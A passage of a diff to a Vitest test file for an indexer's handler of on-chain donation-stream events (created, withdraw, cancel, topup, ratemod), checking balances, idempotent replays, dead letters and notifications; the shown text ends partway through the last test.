updatedAt from the on-chain ledger close time on a cancel event', async () => { - const donorRow = await prisma.donor.create({ data: { address: fakeAddress('G2') } }); - const ngoRow = await prisma.ngo.create({ - data: { ownerAddress: fakeAddress('H2'), name: 'NGO H2' }, - }); - await prisma.stream.create({ - data: { - onChainId: 30n, - donorId: donorRow.id, - ngoId: ngoRow.id, - tokenAddress: fakeAddress('I2'), - rate: '10', - balance: '1000', - withdrawn: '200', - }, - }); - - const onChainTime = '2024-06-20T15:30:00.000Z'; - const event = makeEvent( - [symbolScVal('cancel'), u64ScVal(30n)], - xdr.ScVal.scvVec([i128ScVal(300n), i128ScVal(700n)]), - { ledgerClosedAt: onChainTime }, - ); - await handleDonationVaultEvent(event); - - const stream = await prisma.stream.findUnique({ where: { onChainId: 30n } }); - expect(stream?.updatedAt.toISOString()).toBe(new Date(onChainTime).toISOString()); - }); - - it('ignores a topup event rather than corrupting balance (documented gap)', async () => { - const donorRow = await prisma.donor.create({ data: { address: fakeAddress('J') } }); - const ngoRow = await prisma.ngo.create({ - data: { ownerAddress: fakeAddress('K'), name: 'NGO K' }, - }); - await prisma.stream.create({ - data: { - onChainId: 4n, - donorId: donorRow.id, - ngoId: ngoRow.id, - tokenAddress: fakeAddress('L'), - rate: '10', - balance: '1000', - withdrawn: '0', - }, - }); - - await handleDonationVaultEvent( - makeEvent([symbolScVal('topup'), u64ScVal(4n)], i128ScVal(500n)), - ); - - const stream = await prisma.stream.findUnique({ where: { onChainId: 4n } }); - expect(stream?.balance).toBe('1000'); // unchanged — see the handler's comment - - // topup is intentionally unhandled — no StreamEvent row should be written. - const streamEvent = await prisma.streamEvent.findFirst({ where: { type: 'topup' } }); - expect(streamEvent).toBeNull(); - }); - - it('is idempotent when the same created event is replayed', async () => { - const donor = fakeAddress('AA'); - const ngo = fakeAddress('AB'); - const token = fakeAddress('AC'); - - const event = makeEvent( - [symbolScVal('created'), u64ScVal(7n)], - xdr.ScVal.scvVec([ - addressScVal(donor), - addressScVal(ngo), - addressScVal(token), - i128ScVal(1000n), - i128ScVal(10n), - ]), - ); - - // Process the exact same event twice — the second pass is a replay - // (e.g. indexer restarted after a crash between handler and checkpoint). - await handleDonationVaultEvent(event); - await handleDonationVaultEvent(event); - - // Exactly one row of each, not two. - expect(await prisma.donor.count({ where: { address: donor } })).toBe(1); - expect(await prisma.ngo.count({ where: { ownerAddress: ngo } })).toBe(1); - expect(await prisma.stream.count({ where: { onChainId: 7n } })).toBe(1); - - // And the single stream row has the original values — the replay didn't - // touch balance/rate/status. - const stream = await prisma.stream.findUnique({ where: { onChainId: 7n } }); - expect(stream?.balance).toBe('1000'); - expect(stream?.rate).toBe('10'); - expect(stream?.withdrawn).toBe('0'); - expect(stream?.status).toBe('ACTIVE'); - }); - - it('warns and records a dead letter when a withdraw event is received for an unknown stream', async () => { - const warn = vi.spyOn(logger, 'warn'); - const unknownOnChainId = 999n; - const event = makeEvent([symbolScVal('withdraw'), u64ScVal(unknownOnChainId)], i128ScVal(500n)); - - await expect(handleDonationVaultEvent(event)).resolves.not.toThrow(); - - const stream = await prisma.stream.findUnique({ where: { onChainId: unknownOnChainId } }); - expect(stream).toBeNull(); - expect(warn).toHaveBeenCalledWith( - { eventId: event.id, streamId: unknownOnChainId.toString() }, - 'withdraw event received for unknown stream', - ); - - const deadLetter = await prisma.indexerDeadLetter.findUnique({ - where: { eventId: event.id }, - }); - expect(deadLetter).not.toBeNull(); - expect(deadLetter?.error).toContain(`unknown stream: ${unknownOnChainId}`); - }); - - it('warns and records a dead letter when a cancel event is received for an unknown stream', async () => { - const warn = vi.spyOn(logger, 'warn'); - const unknownOnChainId = 999n; - const event = makeEvent( - [symbolScVal('cancel'), u64ScVal(unknownOnChainId)], - xdr.ScVal.scvVec([i128ScVal(300n), i128ScVal(700n)]), - ); - - await expect(handleDonationVaultEvent(event)).resolves.not.toThrow(); - - const stream = await prisma.stream.findUnique({ where: { onChainId: unknownOnChainId } }); - expect(stream).toBeNull(); - expect(warn).toHaveBeenCalledWith( - { eventId: event.id, streamId: unknownOnChainId.toString() }, - 'cancel event received for unknown stream', - ); - - const deadLetter = await prisma.indexerDeadLetter.findUnique({ - where: { eventId: event.id }, - }); - expect(deadLetter).not.toBeNull(); - expect(deadLetter?.error).toContain(`unknown stream: ${unknownOnChainId}`); - }); - - it('leaves a stream untouched on a ratemod event (documented gap)', async () => { - const donorRow = await prisma.donor.create({ data: { address: fakeAddress('M') } }); - const ngoRow = await prisma.ngo.create({ - data: { ownerAddress: fakeAddress('N'), name: 'NGO N' }, - }); - await prisma.stream.create({ - data: { - onChainId: 5n, - donorId: donorRow.id, - ngoId: ngoRow.id, - tokenAddress: fakeAddress('O'), - rate: '10', - balance: '1000', - withdrawn: '300', - status: 'ACTIVE', - }, - }); - - // ratemod carries the stream's new rate. 25 is deliberately different - // from the stored 10, so if the handler ever starts applying it the - // assertions below fail instead of passing by coincidence. Unlike a - // fresh stream, this one already has `withdrawn` accrued — that field - // isn't in the payload either, so it must survive the event verbatim. - await handleDonationVaultEvent( - makeEvent([symbolScVal('ratemod'), u64ScVal(5n)], i128ScVal(25n)), - ); - - const stream = await prisma.stream.findUnique({ where: { onChainId: 5n } }); - expect(stream?.rate).toBe('10'); - expect(stream?.balance).toBe('1000'); - expect(stream?.withdrawn).toBe('300'); - }); - - it('does not re-apply accrued to withdrawn on a duplicated cancel event (#266)', async () => { - const donorRow = await prisma.donor.create({ data: { address: fakeAddress('P') } }); - const ngoRow = await prisma.ngo.create({ - data: { ownerAddress: fakeAddress('Q'), name: 'NGO Q' }, - }); - await prisma.stream.create({ - data: { - onChainId: 40n, - donorId: donorRow.id, - ngoId: ngoRow.id, - tokenAddress: fakeAddress('R'), - rate: '10', - balance: '1000', - withdrawn: '0', - status: 'ACTIVE', - }, - }); - - const cancelEvent = makeEvent( - [symbolScVal('cancel'), u64ScVal(40n)], - xdr.ScVal.scvVec([i128ScVal(300n), i128ScVal(700n)]), - ); - - // First cancel event applies - await handleDonationVaultEvent(cancelEvent); - - let stream = await prisma.stream.findUnique({ where: { onChainId: 40n } }); - expect(stream?.status).toBe('CANCELLED'); - expect(stream?.balance).toBe('0'); - expect(stream?.rate).toBe('0'); - expect(stream?.withdrawn).toBe('300'); - - // Duplicate cancel event should be ignored - await handleDonationVaultEvent(cancelEvent); - - stream = await prisma.stream.findUnique({ where: { onChainId: 40n } }); - expect(stream?.status).toBe('CANCELLED'); - expect(stream?.balance).toBe('0'); - expect(stream?.rate).toBe('0'); - expect(stream?.withdrawn).toBe('300'); - - const cancelEvents = await prisma.streamEvent.findMany({ - where: { streamId: 40n, type: 'cancel' }, - }); - expect(cancelEvents).toHaveLength(1); - }); - - it('ignores a withdraw event received after stream is cancelled (#266)', async () => { - const donorRow = await prisma.donor.create({ data: { address: fakeAddress('S') } }); - const ngoRow = await prisma.ngo.create({ - data: { ownerAddress: fakeAddress('T'), name: 'NGO T' }, - }); - await prisma.stream.create({ - data: { - onChainId: 50n, - donorId: donorRow.id, - ngoId: ngoRow.id, - tokenAddress: fakeAddress('U'), - rate: '10', - balance: '1000', - withdrawn: '0', - status: 'ACTIVE', - }, - }); - - // First cancel stream - await handleDonationVaultEvent( - makeEvent( - [symbolScVal('cancel'), u64ScVal(50n)], - xdr.ScVal.scvVec([i128ScVal(400n), i128ScVal(600n)]), - ), - ); - - let stream = await prisma.stream.findUnique({ where: { onChainId: 50n } }); - expect(stream?.status).toBe('CANCELLED'); - expect(stream?.withdrawn).toBe('400'); - expect(stream?.balance).toBe('0'); - - // Withdraw arriving after cancel should be ignored - await handleDonationVaultEvent( - makeEvent([symbolScVal('withdraw'), u64ScVal(50n)], i128ScVal(100n)), - ); - - stream = await prisma.stream.findUnique({ where: { onChainId: 50n } }); - expect(stream?.status).toBe('CANCELLED'); - expect(stream?.withdrawn).toBe('400'); - expect(stream?.balance).toBe('0'); - - const withdrawEvents = await prisma.streamEvent.findMany({ - where: { streamId: 50n, type: 'withdraw' }, - }); - expect(withdrawEvents).toHaveLength(0); - }); - - it('does not fail handler or dead-letter when notification log write fails (#269)', async () => { - vi.spyOn(prisma.notificationLog, 'create').mockRejectedValue( - new Error('database error in notificationLog.create'), - ); - - const donorRow = await prisma.donor.create({ data: { address: fakeAddress('V') } }); - const ngoRow = await prisma.ngo.create({ - data: { ownerAddress: fakeAddress('W'), name: 'NGO W' }, - }); - await prisma.stream.create({ - data: { - onChainId: 60n, - donorId: donorRow.id, - ngoId: ngoRow.id, - tokenAddress: fakeAddress('X'), - rate: '10', - balance: '1000', - withdrawn: '0', - status: 'ACTIVE', - }, - }); - - const event = makeEvent([symbolScVal('withdraw'), u64ScVal(60n)], i128ScVal(250n)); - - await expect(handleDonationVaultEvent(event)).resolves.not.toThrow(); - - const stream = await prisma.stream.findUnique({ where: { onChainId: 60n } }); - expect(stream?.balance).toBe('750'); - expect(stream?.withdrawn).toBe('250'); - - const deadLetter = await prisma.indexerDeadLetter.findUnique({ - where: { eventId: event.id }, - }); - expect(deadLetter).toBeNull(); - }); -}); - -describe('handleDonationVaultEvent handler branches (#316)', () => { - afterEach(async () => { - vi.restoreAllMocks(); - vi.mocked(dispatchNotification).mockClear(); - await resetDb(); - }); - - async function seedStream(onChainId: bigint, balance: string, withdrawn = '0') { - const donorRow = await prisma.donor.create({ data: { address: fakeAddress('D') } }); - const ngoRow = await prisma.ngo.create({ - data: { ownerAddress: fakeAddress('E'), name: 'NGO E' }, - }); - await prisma.stream.create({ - data: { - onChainId, - donorId: donorRow.id, - ngoId: ngoRow.id, - tokenAddress: fakeAddress('F'), - rate: '10', - balance, - withdrawn, - }, - }); - } - - const clampWarnings = (warn: ReturnType) => - warn.mock.calls.filter(([, message]) => message === 'withdraw exceeds recorded stream balance'); - - describe('withdraw clamp', () => { - it('does not warn on an ordinary withdraw that leaves a positive balance', async () => { - const warn = vi.spyOn(logger, 'warn'); - await seedStream(70n, '1000'); - - await handleDonationVaultEvent( - makeEvent([symbolScVal('withdraw'), u64ScVal(70n)], i128ScVal(400n)), - ); - - expect(clampWarnings(warn)).toHaveLength(0); - const stream = await prisma.stream.findUnique({ where: { onChainId: 70n } }); - expect(stream?.balance).toBe('600'); - }); - - it('does not warn when a withdraw drains the balance to exactly zero', async () => { - const warn = vi.spyOn(logger, 'warn'); - await seedStream(71n, '500'); - - await handleDonationVaultEvent( - makeEvent([symbolScVal('withdraw'), u64ScVal(71n)], i128ScVal(500n)), - ); - - expect(clampWarnings(warn)).toHaveLength(0); - const stream = await prisma.stream.findUnique({ where: { onChainId: 71n } }); - expect(stream?.balance).toBe('0'); - expect(stream?.withdrawn).toBe('500'); - }); - - it('warns once on a clamp and still records the event and notification with the raw amount', async () => { - const warn = vi.spyOn(logger, 'warn'); - await seedStream(72n, '400', '100'); - const event = makeEvent([symbolScVal('withdraw'), u64ScVal(72n)], i128ScVal(500n)); - - await handleDonationVaultEvent(event); - - expect(clampWarnings(warn)).toEqual([ - [ - { onChainId: '72', balance: '400', accrued: '500' }, - 'withdraw exceeds recorded stream balance', - ], - ]); - - // The clamp only floors the balance; the audit trail keeps the real amount. - const streamEvent = await prisma.streamEvent.findFirst({ where: { streamId: 72n } }); - expect(streamEvent?.type).toBe('withdraw'); - expect(streamEvent?.payload).toMatchObject({ accrued: '500' }); - expect(dispatchNotification).toHaveBeenCalledWith({ - type: 'stream_withdrawn', - eventId: event.id, - streamId: '72', - amount: '500', - }); - }); - }); - - describe('cancel for an NGO that never registered', () => { - const createdEvent = (onChainId: bigint, donor: string, ngo: string) => - makeEvent( - [symbolScVal('created'), u64ScVal(onChainId)], - xdr.ScVal.scvVec([ - addressScVal(donor), - addressScVal(ngo), - addressScVal(fakeAddress('T')), - i128ScVal(1000n), - i128ScVal(10n), - ]), - ); - - it('keeps the placeholder NGO (empty name, unverified) when its stream is cancelled', async () => { - const donor = fakeAddress('P'); - const ngo = fakeAddress('Q'); - await handleDonationVaultEvent(createdEvent(80n, donor, ngo)); - - const before = await prisma.ngo.findUniqueOrThrow({ where: { ownerAddress: ngo } }); - expect(before.name).toBe(''); - expect(before.verified).toBe(false); - - const cancel = makeEvent( - [symbolScVal('cancel'), u64ScVal(80n)], - xdr.ScVal.scvVec([i128ScVal(300n), i128ScVal(700n)]), - ); - await handleDonationVaultEvent(cancel); - - const stream = await prisma.stream.findUniqueOrThrow({ where: { onChainId: 80n } }); - expect(stream.status).toBe('CANCELLED'); - expect(stream.ngoId).toBe(before.id); - - const after = await prisma.ngo.findUniqueOrThrow({ where: { ownerAddress: ngo } }); - expect(after.id).toBe(before.id); - expect(after.name).toBe(''); - expect(after.verified).toBe(false); - expect(await prisma.ngo.count()).toBe(1); - - expect(dispatchNotification).toHaveBeenCalledWith({ - type: 'stream_cancelled', - eventId: cancel.id, - streamId: '80', - settledToNgo: '300', - refundToDonor: '700', - }); - }); - - it('does not invent an NGO or donor when the cancelled stream is unknown', async () => { - const event = makeEvent( - [symbolScVal('cancel'), u64ScVal(81n)], - xdr.ScVal.scvVec([i128ScVal(300n), i128ScVal(700n)]), - ); - - await handleDonationVaultEvent(event); - - expect(await prisma.ngo.count()).toBe(0); - expect(await prisma.donor.count()).toBe(0); - expect(dispatchNotification).not.toHaveBeenCalled(); - }); - }); -}); +import { xdr } from '@stellar/stellar-sdk'; +import { afterEach, describe, expect, it, vi } from 'vitest'; + +vi.mock('../../src/notifications/service.js', () => ({ dispatchNotification: vi.fn() })); + +import { prisma } from '../../src/db.js'; +import { handleDonationVaultEvent } from '../../src/indexer/handlers/donationVault.js'; +import { handleNgoRegistryEvent } from '../../src/indexer/handlers/ngoRegistry.js'; +import { logger } from '../../src/logger.js'; +import { dispatchNotification } from '../../src/notifications/service.js'; +import { fakeAddress, resetDb } from '../helpers/db.js'; +import { + addressScVal, + i128ScVal, + makeEvent, + stringScVal, + symbolScVal, + u64ScVal, +} from '../helpers/events.js'; + +describe('handleDonationVaultEvent', () => { + afterEach(async () => { + vi.restoreAllMocks(); + vi.mocked(dispatchNotification).mockClear(); + await resetDb(); + }); + + it('creates a stream (and placeholder donor/ngo rows) on a created event', async () => { + const donor = fakeAddress('A'); + const ngo = fakeAddress('B'); + const token = fakeAddress('C'); + + const closedAt = '2024-01-15T12:00:00.000Z'; + const txHash = 'b3c4d5e6f7a8b9c0d1e2f3a4b5c6d7e8f9a0b1c2d3e4f5a6b7c8d9e0f1a2b3c4'; + const event = makeEvent( + [symbolScVal('created'), u64ScVal(1n)], + xdr.ScVal.scvVec([ + addressScVal(donor), + addressScVal(ngo), + addressScVal(token), + i128ScVal(1000n), + i128ScVal(10n), + ]), + { ledgerClosedAt: closedAt, txHash }, + ); + + await handleDonationVaultEvent(event); + + const stream = await prisma.stream.findUnique({ where: { onChainId: 1n } }); + expect(stream?.balance).toBe('1000'); + expect(stream?.rate).toBe('10'); + expect(stream?.withdrawn).toBe('0'); + expect(stream?.status).toBe('ACTIVE'); + expect(stream?.createdAt.toISOString()).toBe(new Date(closedAt).toISOString()); + expect(stream?.createdTxHash).toBe(txHash); + + expect(await prisma.donor.findUnique({ where: { address: donor } })).not.toBeNull(); + + // Never went through ngo-registry — placeholder, unverified. + const ngoRow = await prisma.ngo.findUniqueOrThrow({ where: { ownerAddress: ngo } }); + expect(ngoRow?.verified).toBe(false); + expect(dispatchNotification).toHaveBeenCalledWith({ + type: 'stream_created', + eventId: event.id, + streamId: '1', + donorAddress: donor, + ngoId: ngoRow.id, + }); + + // A StreamEvent row must be written atomically with the stream upsert. + const streamEvent = await prisma.streamEvent.findFirst({ where: { type: 'created' } }); + expect(streamEvent).not.toBeNull(); + expect(streamEvent?.streamId).toBe(1n); + expect(streamEvent?.ledger).toBe(100); + expect(streamEvent?.txHash).toBe(txHash); + expect(streamEvent?.payload).toMatchObject({ + deposit: '1000', + rate: '10', + }); + }); + + it('preserves a registered and verified NGO name on a created event', async () => { + const donor = fakeAddress('M'); + const ngo = fakeAddress('N'); + const token = fakeAddress('O'); + const registeredName = 'Doctors Without Borders'; + + await handleNgoRegistryEvent( + makeEvent([symbolScVal('register'), addressScVal(ngo)], stringScVal(registeredName)), + ); + await handleNgoRegistryEvent( + makeEvent([symbolScVal('approved'), addressScVal(ngo)], stringScVal('')), + ); + + await handleDonationVaultEvent( + makeEvent( + [symbolScVal('created'), u64ScVal(5n)], + xdr.ScVal.scvVec([ + addressScVal(donor), + addressScVal(ngo), + addressScVal(token), + i128ScVal(1000n), + i128ScVal(10n), + ]), + ), + ); + + const ngoRow = await prisma.ngo.findUnique({ where: { ownerAddress: ngo } }); + expect(ngoRow?.name).toBe(registeredName); + expect(ngoRow?.verified).toBe(true); + }); + + it('applies a withdraw event as a balance/withdrawn delta', async () => { + const donorRow = await prisma.donor.create({ data: { address: fakeAddress('D') } }); + const ngoRow = await prisma.ngo.create({ + data: { ownerAddress: fakeAddress('E'), name: 'NGO E' }, + }); + await prisma.stream.create({ + data: { + onChainId: 2n, + donorId: donorRow.id, + ngoId: ngoRow.id, + tokenAddress: fakeAddress('F'), + rate: '10', + balance: '1000', + withdrawn: '0', + }, + }); + + await handleDonationVaultEvent( + makeEvent([symbolScVal('withdraw'), u64ScVal(2n)], i128ScVal(500n)), + ); + + const stream = await prisma.stream.findUnique({ where: { onChainId: 2n } }); + expect(stream?.balance).toBe('500'); + expect(stream?.withdrawn).toBe('500'); + + // A StreamEvent row must be written atomically with the stream update. + const streamEvent = await prisma.streamEvent.findFirst({ where: { type: 'withdraw' } }); + expect(streamEvent).not.toBeNull(); + expect(streamEvent?.streamId).toBe(2n); + expect(streamEvent?.ledger).toBe(100); + expect(streamEvent?.payload).toMatchObject({ accrued: '500' }); + }); + + it('sets updatedAt from the on-chain ledger close time on a withdraw event', async () => { + const donorRow = await prisma.donor.create({ data: { address: fakeAddress('D2') } }); + const ngoRow = await prisma.ngo.create({ + data: { ownerAddress: fakeAddress('E2'), name: 'NGO E2' }, + }); + await prisma.stream.create({ + data: { + onChainId: 20n, + donorId: donorRow.id, + ngoId: ngoRow.id, + tokenAddress: fakeAddress('F2'), + rate: '10', + balance: '1000', + withdrawn: '0', + }, + }); + + const onChainTime = '2024-03-10T08:00:00.000Z'; + const event = makeEvent([symbolScVal('withdraw'), u64ScVal(20n)], i128ScVal(200n), { + ledgerClosedAt: onChainTime, + }); + await handleDonationVaultEvent(event); + + const stream = await prisma.stream.findUnique({ where: { onChainId: 20n } }); + expect(stream?.updatedAt.toISOString()).toBe(new Date(onChainTime).toISOString()); + }); + + it('clamps the balance to zero when accrued exceeds the recorded balance', async () => { + const warn = vi.spyOn(logger, 'warn'); + const donorRow = await prisma.donor.create({ data: { address: fakeAddress('M') } }); + const ngoRow = await prisma.ngo.create({ + data: { ownerAddress: fakeAddress('N'), name: 'NGO N' }, + }); + await prisma.stream.create({ + data: { + onChainId: 5n, + donorId: donorRow.id, + ngoId: ngoRow.id, + tokenAddress: fakeAddress('O'), + rate: '10', + balance: '400', + withdrawn: '100', + }, + }); + + await handleDonationVaultEvent( + makeEvent([symbolScVal('withdraw'), u64ScVal(5n)], i128ScVal(500n)), + ); + + const stream = await prisma.stream.findUnique({ where: { onChainId: 5n } }); + expect(stream?.balance).toBe('0'); + expect(stream?.withdrawn).toBe('600'); + expect(warn).toHaveBeenCalledWith( + { onChainId: '5', balance: '400', accrued: '500' }, + 'withdraw exceeds recorded stream balance', + ); + }); + + it('applies a cancel event: settles accrued, zeroes balance/rate, marks cancelled', async () => { + const donorRow = await prisma.donor.create({ data: { address: fakeAddress('G') } }); + const ngoRow = await prisma.ngo.create({ + data: { ownerAddress: fakeAddress('H'), name: 'NGO H' }, + }); + await prisma.stream.create({ + data: { + onChainId: 3n, + donorId: donorRow.id, + ngoId: ngoRow.id, + tokenAddress: fakeAddress('I'), + rate: '10', + balance: '1000', + withdrawn: '200', + }, + }); + + const event = makeEvent( + [symbolScVal('cancel'), u64ScVal(3n)], + xdr.ScVal.scvVec([i128ScVal(300n), i128ScVal(700n)]), + ); + await handleDonationVaultEvent(event); + + const stream = await prisma.stream.findUnique({ where: { onChainId: 3n } }); + expect(stream?.balance).toBe('0'); + expect(stream?.rate).toBe('0'); + expect(stream?.lastRate).toBe('10'); // original rate preserved from before cancel + expect(stream?.withdrawn).toBe('500'); // 200 already withdrawn + 300 settled on cancel + expect(stream?.status).toBe('CANCELLED'); + + // A StreamEvent row must be written atomically with the stream update. + const streamEvent = await prisma.streamEvent.findFirst({ where: { type: 'cancel' } }); + expect(streamEvent).not.toBeNull(); + expect(streamEvent?.streamId).toBe(3n); + expect(streamEvent?.ledger).toBe(100); + expect(streamEvent?.payload).toMatchObject({ accrued: '300', refund: '700' }); + }); + + it('sets updatedAt from the on-chain ledger close time on a cancel event', async () => { + const donorRow = await prisma.donor.create({ data: { address: fakeAddress('G2') } }); + const ngoRow = await prisma.ngo.create({ + data: { ownerAddress: fakeAddress('H2'), name: 'NGO H2' }, + }); + await prisma.stream.create({ + data: { + onChainId: 30n, + donorId: donorRow.id, + ngoId: ngoRow.id, + tokenAddress: fakeAddress('I2'), + rate: '10', + balance: '1000', + withdrawn: '200', + }, + }); + + const onChainTime = '2024-06-20T15:30:00.000Z'; + const event = makeEvent( + [symbolScVal('cancel'), u64ScVal(30n)], + xdr.ScVal.scvVec([i128ScVal(300n), i128ScVal(700n)]), + { ledgerClosedAt: onChainTime }, + ); + await handleDonationVaultEvent(event); + + const stream = await prisma.stream.findUnique({ where: { onChainId: 30n } }); + expect(stream?.updatedAt.toISOString()).toBe(new Date(onChainTime).toISOString()); + }); + + it('ignores a topup event rather than corrupting balance (documented gap)', async () => { + const donorRow = await prisma.donor.create({ data: { address: fakeAddress('J') } }); + const ngoRow = await prisma.ngo.create({ + data: { ownerAddress: fakeAddress('K'), name: 'NGO K' }, + }); + await prisma.stream.create({ + data: { + onChainId: 4n, + donorId: donorRow.id, + ngoId: ngoRow.id, + tokenAddress: fakeAddress('L'), + rate: '10', + balance: '1000', + withdrawn: '0', + }, + }); + + await handleDonationVaultEvent( + makeEvent([symbolScVal('topup'), u64ScVal(4n)], i128ScVal(500n)), + ); + + const stream = await prisma.stream.findUnique({ where: { onChainId: 4n } }); + expect(stream?.balance).toBe('1000'); // unchanged — see the handler's comment + + // topup is intentionally unhandled — no StreamEvent row should be written. + const streamEvent = await prisma.streamEvent.findFirst({ where: { type: 'topup' } }); + expect(streamEvent).toBeNull(); + }); + + it('is idempotent when the same created event is replayed', async () => { + const donor = fakeAddress('AA'); + const ngo = fakeAddress('AB'); + const token = fakeAddress('AC'); + + const event = makeEvent( + [symbolScVal('created'), u64ScVal(7n)], + xdr.ScVal.scvVec([ + addressScVal(donor), + addressScVal(ngo), + addressScVal(token), + i128ScVal(1000n), + i128ScVal(10n), + ]), + ); + + // Process the exact same event twice — the second pass is a replay + // (e.g. indexer restarted after a crash between handler and checkpoint). + await handleDonationVaultEvent(event); + await handleDonationVaultEvent(event); + + // Exactly one row of each, not two. + expect(await prisma.donor.count({ where: { address: donor } })).toBe(1); + expect(await prisma.ngo.count({ where: { ownerAddress: ngo } })).toBe(1); + expect(await prisma.stream.count({ where: { onChainId: 7n } })).toBe(1); + + // And the single stream row has the original values — the replay didn't + // touch balance/rate/status. + const stream = await prisma.stream.findUnique({ where: { onChainId: 7n } }); + expect(stream?.balance).toBe('1000'); + expect(stream?.rate).toBe('10'); + expect(stream?.withdrawn).toBe('0'); + expect(stream?.status).toBe('ACTIVE'); + }); + + it('warns and records a dead letter when a withdraw event is received for an unknown stream', async () => { + const warn = vi.spyOn(logger, 'warn'); + const unknownOnChainId = 999n; + const event = makeEvent([symbolScVal('withdraw'), u64ScVal(unknownOnChainId)], i128ScVal(500n)); + + await expect(handleDonationVaultEvent(event)).resolves.not.toThrow(); + + const stream = await prisma.stream.findUnique({ where: { onChainId: unknownOnChainId } }); + expect(stream).toBeNull(); + expect(warn).toHaveBeenCalledWith( + { eventId: event.id, streamId: unknownOnChainId.toString() }, + 'withdraw event received for unknown stream', + ); + + const deadLetter = await prisma.indexerDeadLetter.findUnique({ + where: { eventId: event.id }, + }); + expect(deadLetter).not.toBeNull(); + expect(deadLetter?.error).toContain(`unknown stream: ${unknownOnChainId}`); + }); + + it('warns and records a dead letter when a cancel event is received for an unknown stream', async () => { + const warn = vi.spyOn(logger, 'warn'); + const unknownOnChainId = 999n; + const event = makeEvent( + [symbolScVal('cancel'), u64ScVal(unknownOnChainId)], + xdr.ScVal.scvVec([i128ScVal(300n), i128ScVal(700n)]), + ); + + await expect(handleDonationVaultEvent(event)).resolves.not.toThrow(); + + const stream = await prisma.stream.findUnique({ where: { onChainId: unknownOnChainId } }); + expect(stream).toBeNull(); + expect(warn).toHaveBeenCalledWith( + { eventId: event.id, streamId: unknownOnChainId.toString() }, + 'cancel event received for unknown stream', + ); + + const deadLetter = await prisma.indexerDeadLetter.findUnique({ + where: { eventId: event.id }, + }); + expect(deadLetter).not.toBeNull(); + expect(deadLetter?.error).toContain(`unknown stream: ${unknownOnChainId}`); + }); + + it('leaves a stream untouched on a ratemod event (documented gap)', async () => { + const donorRow = await prisma.donor.create({ data: { address: fakeAddress('M') } }); + const ngoRow = await prisma.ngo.create({ + data: { ownerAddress: fakeAddress('N'), name: 'NGO N' }, + }); + await prisma.stream.create({ + data: { + onChainId: 5n, + donorId: donorRow.id, + ngoId: ngoRow.id, + tokenAddress: fakeAddress('O'), + rate: '10', + balance: '1000', + withdrawn: '300', + status: 'ACTIVE', + }, + }); + + // ratemod carries the stream's new rate. 25 is deliberately different + // from the stored 10, so if the handler ever starts applying it the + // assertions below fail instead of passing by coincidence. Unlike a + // fresh stream, this one already has `withdrawn` accrued — that field + // isn't in the payload either, so it must survive the event verbatim. + await handleDonationVaultEvent( + makeEvent([symbolScVal('ratemod'), u64ScVal(5n)], i128ScVal(25n)), + ); + + const stream = await prisma.stream.findUnique({ where: { onChainId: 5n } }); + expect(stream?.rate).toBe('10'); + expect(stream?.balance).toBe('1000'); + expect(stream?.withdrawn).toBe('300'); + }); + + it('does not re-apply accrued to withdrawn on a duplicated cancel event (#266)', async () => { + const donorRow = await prisma.donor.create({ data: { address: fakeAddress('P') } }); + const ngoRow = await prisma.ngo.create({ + data: { ownerAddress: fakeAddress('Q'), name: 'NGO Q' }, + }); + await prisma.stream.create({ + data: { + onChainId: 40n, + donorId: donorRow.id, + ngoId: ngoRow.id, + tokenAddress: fakeAddress('R'), + rate: '10', + balance: '1000', + withdrawn: '0', + status: 'ACTIVE', + }, + }); + + const cancelEvent = makeEvent( + [symbolScVal('cancel'), u64ScVal(40n)], + xdr.ScVal.scvVec([i128ScVal(300n), i128ScVal(700n)]), + ); + + // First cancel event applies + await handleDonationVaultEvent(cancelEvent); + + let stream = await prisma.stream.findUnique({ where: { onChainId: 40n } }); + expect(stream?.status).toBe('CANCELLED'); + expect(stream?.balance).toBe('0'); + expect(stream?.rate).toBe('0'); + expect(stream?.withdrawn).toBe('300'); + + // Duplicate cancel event should be ignored + await handleDonationVaultEvent(cancelEvent); + + stream = await prisma.stream.findUnique({ where: { onChainId: 40n } }); + expect(stream?.status).toBe('CANCELLED'); + expect(stream?.balance).toBe('0'); + expect(stream?.rate).toBe('0'); + expect(stream?.withdrawn).toBe('300'); + + const cancelEvents = await prisma.streamEvent.findMany({ + where: { streamId: 40n, type: 'cancel' }, + }); + expect(cancelEvents).toHaveLength(1); + }); + + it('ignores a withdraw event received after stream is cancelled (#266)', async () => { + const donorRow = await prisma.donor.create({ data: { address: fakeAddress('S') } }); + const ngoRow = await prisma.ngo.create({ + data: { ownerAddress: fakeAddress('T'), name: 'NGO T' }, + }); + await prisma.stream.create({ + data: { + onChainId: 50n, + donorId: donorRow.id, + ngoId: ngoRow.id, + tokenAddress: fakeAddress('U'), + rate: '10', + balance: '1000', + withdrawn: '0', + status: 'ACTIVE', + }, + }); + + // First cancel stream + await handleDonationVaultEvent( + makeEvent( + [symbolScVal('cancel'), u64ScVal(50n)], + xdr.ScVal.scvVec([i128ScVal(400n), i128ScVal(600n)]), + ), + ); + + let stream = await prisma.stream.findUnique({ where: { onChainId: 50n } }); + expect(stream?.status).toBe('CANCELLED'); + expect(stream?.withdrawn).toBe('400'); + expect(stream?.balance).toBe('0'); + + // Withdraw arriving after cancel should be ignored + await handleDonationVaultEvent( + makeEvent([symbolScVal('withdraw'), u64ScVal(50n)], i128ScVal(100n)), + ); + + stream = await prisma.stream.findUnique({ where: { onChainId: 50n } }); + expect(stream?.status).toBe('CANCELLED'); + expect(stream?.withdrawn).toBe('400'); + expect(stream?.balance).toBe('0'); + + const withdrawEvents = await prisma.streamEvent.findMany({ + where: { streamId: 50n, type: 'withdraw' }, + }); + expect(withdrawEvents).toHaveLength(0); + }); + + it('does not fail handler or dead-letter when notification log write fails (#269)', async () => { + vi.spyOn(prisma.notificationLog, 'create').mockRejectedValue( + new Error('database error in notificationLog.create'), + ); + + const donorRow = await prisma.donor.create({ data: { address: fakeAddress('V') } }); + const ngoRow = await prisma.ngo.create({ + data: { ownerAddress: fakeAddress('W'), name: 'NGO W' }, + }); + await prisma.stream.create({ + data: { + onChainId: 60n, + donorId: donorRow.id, + ngoId: ngoRow.id, + tokenAddress: fakeAddress('X'), + rate: '10', + balance: '1000', + withdrawn: '0', + status: 'ACTIVE', + }, + }); + + const event = makeEvent([symbolScVal('withdraw'), u64ScVal(60n)], i128ScVal(250n)); + + await expect(handleDonationVaultEvent(event)).resolves.not.toThrow(); + + const stream = await prisma.stream.findUnique({ where: { onChainId: 60n } }); + expect(stream?.balance).toBe('750'); + expect(stream?.withdrawn).toBe('250'); + + const deadLetter = await prisma.indexerDeadLetter.findUnique({ + where: { eventId: event.id }, + }); + 